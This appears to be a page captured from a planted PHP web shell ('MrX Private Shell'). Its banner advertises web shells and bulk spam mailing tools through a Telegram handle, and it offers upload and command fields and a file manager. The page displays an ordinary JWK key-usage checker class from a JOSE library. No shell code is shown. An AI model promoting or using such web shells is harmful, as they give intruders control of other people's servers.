__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Jose\Component\Core\Util;

use function in_array;
use InvalidArgumentException;
use function is_array;
use Jose\Component\Core\JWK;

/**
 * @internal
 */
class KeyChecker
{
    public static function checkKeyUsage(JWK $key, string $usage): void
    {
        if ($key->has('use')) {
            self::checkUsage($key, $usage);
        }
        if ($key->has('key_ops')) {
            self::checkOperation($key, $usage);
        }
    }

    /**
     * @throws InvalidArgumentException if the key is not suitable for the selected algorithm
     */
    public static function checkKeyAlgorithm(JWK $key, string $algorithm): void
    {
        if (!$key->has('alg')) {
            return;
        }
        if ($key->get('alg') !== $algorithm) {
            throw new InvalidArgumentException(sprintf('Key is only allowed for algorithm "%s".', $key->get('alg')));
        }
    }

    /**
     * @throws InvalidArgumentException if the key is not suitable for the selected operation
     */
    private static function checkOperation(JWK $key, string $usage): void
    {
        $ops = $key->get('key_ops');
        if (!is_array($ops)) {
            throw new InvalidArgumentException('Invalid key parameter "key_ops". Should be a list of key operations');
        }

        switch ($usage) {
            case 'verification':
                if (!in_array('verify', $ops, true)) {
                    throw new InvalidArgumentException('Key cannot be used to verify a signature');
                }

                break;

            case 'signature':
                if (!in_array('sign', $ops, true)) {
                    throw new InvalidArgumentException('Key cannot be used to sign');
                }

                break;

            case 'encryption':
                if (!in_array('encrypt', $ops, true) && !in_array('wrapKey', $ops, true) && !in_array('deriveKey', $ops, true)) {
                    throw new InvalidArgumentException('Key cannot be used to encrypt');
                }

                break;

            case 'decryption':
                if (!in_array('decrypt', $ops, true) && !in_array('unwrapKey', $ops, true) && !in_array('deriveBits', $ops, true)) {
                    throw new InvalidArgumentException('Key cannot be used to decrypt');
                }

                break;

            default:
                throw new InvalidArgumentException('Unsupported key usage.');
        }
    }

    /**
     * @throws InvalidArgumentException if the key is not suitable for the selected operation
     */
    private static function checkUsage(JWK $key, string $usage): void
    {
        $use = $key->get('use');

        switch ($usage) {
            case 'verification':
            case 'signature':
                if ('sig' !== $use) {
                    throw new InvalidArgumentException('Key cannot be used to sign or verify a signature.');
                }

                break;

            case 'encryption':
            case 'decryption':
                if ('enc' !== $use) {
                    throw new InvalidArgumentException('Key cannot be used to encrypt or decrypt.');
                }

                break;

            default:
                throw new InvalidArgumentException('Unsupported key usage.');
        }
    }
}

Filemanager

Name Type Size Permission Actions
BigInteger.php File 4.54 KB 0664
ECKey.php File 11.63 KB 0664
ECSignature.php File 4.63 KB 0664
Hash.php File 1.87 KB 0664
JsonConverter.php File 1.39 KB 0664
KeyChecker.php File 3.46 KB 0664
RSAKey.php File 8.94 KB 0664
Filemanager